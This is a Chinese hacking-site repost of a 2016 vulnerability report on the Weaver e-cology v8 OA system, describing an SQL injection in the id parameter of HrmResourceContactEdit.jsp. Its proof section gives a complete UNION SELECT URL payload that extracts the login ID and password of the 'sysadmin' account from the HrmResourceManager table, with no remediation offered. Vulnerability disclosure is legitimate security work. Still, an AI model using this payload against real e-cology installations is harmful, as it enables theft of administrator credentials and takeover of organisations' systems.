记录黑客技术中优秀的内容, 传播黑客文化,分享黑客技术精华

泛微e-cology v8直接获取数据的SQL注入漏洞

2016-04-04 01:25

漏洞作者: rootsec

详细说明:

泛微e-cology oa系统/hrm/resource/HrmResourceContactEdit.jsp页面id参数存在sql注入漏洞,攻击者可以通过此漏洞提升当前用户权限、获取数据库内容等操作

漏洞证明:

http://**.**.**.**/hrm/resource/HrmResourceContactEdit.jsp?id=119%20and%201=2%20union%20select%201,2,3,4,5,6,7,8,9,loginid,11,12,13,14,password,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,82,83,84,85,86,87,88,89,90,91,92,93,94,95,96,97,98,99,100,101,102,103,104,105,106,107,108,109,110,111,112,113,114,115,116,117%20from%20HrmResourceManager%20where%20loginid=%27sysadmin%27

251735197603a1fcc50411ec23b529522d7f0cb7[1]

251735544e77b2ab97810d33efa7739897783949[1]

知识来源: 0day5.com/archives/3796

阅读:119798 | 评论:0 | 标签:JSP e-cology Sql 泛微 注入 漏洞

想收藏或者和大家分享这篇好文章→复制链接地址

“泛微e-cology v8直接获取数据的SQL注入漏洞”共有0条留言

发表评论

姓名:

邮箱:

网址:

验证码:

公告

关注公众号hackdig,学习最新黑客技术

推广

工具

标签云

本页关键词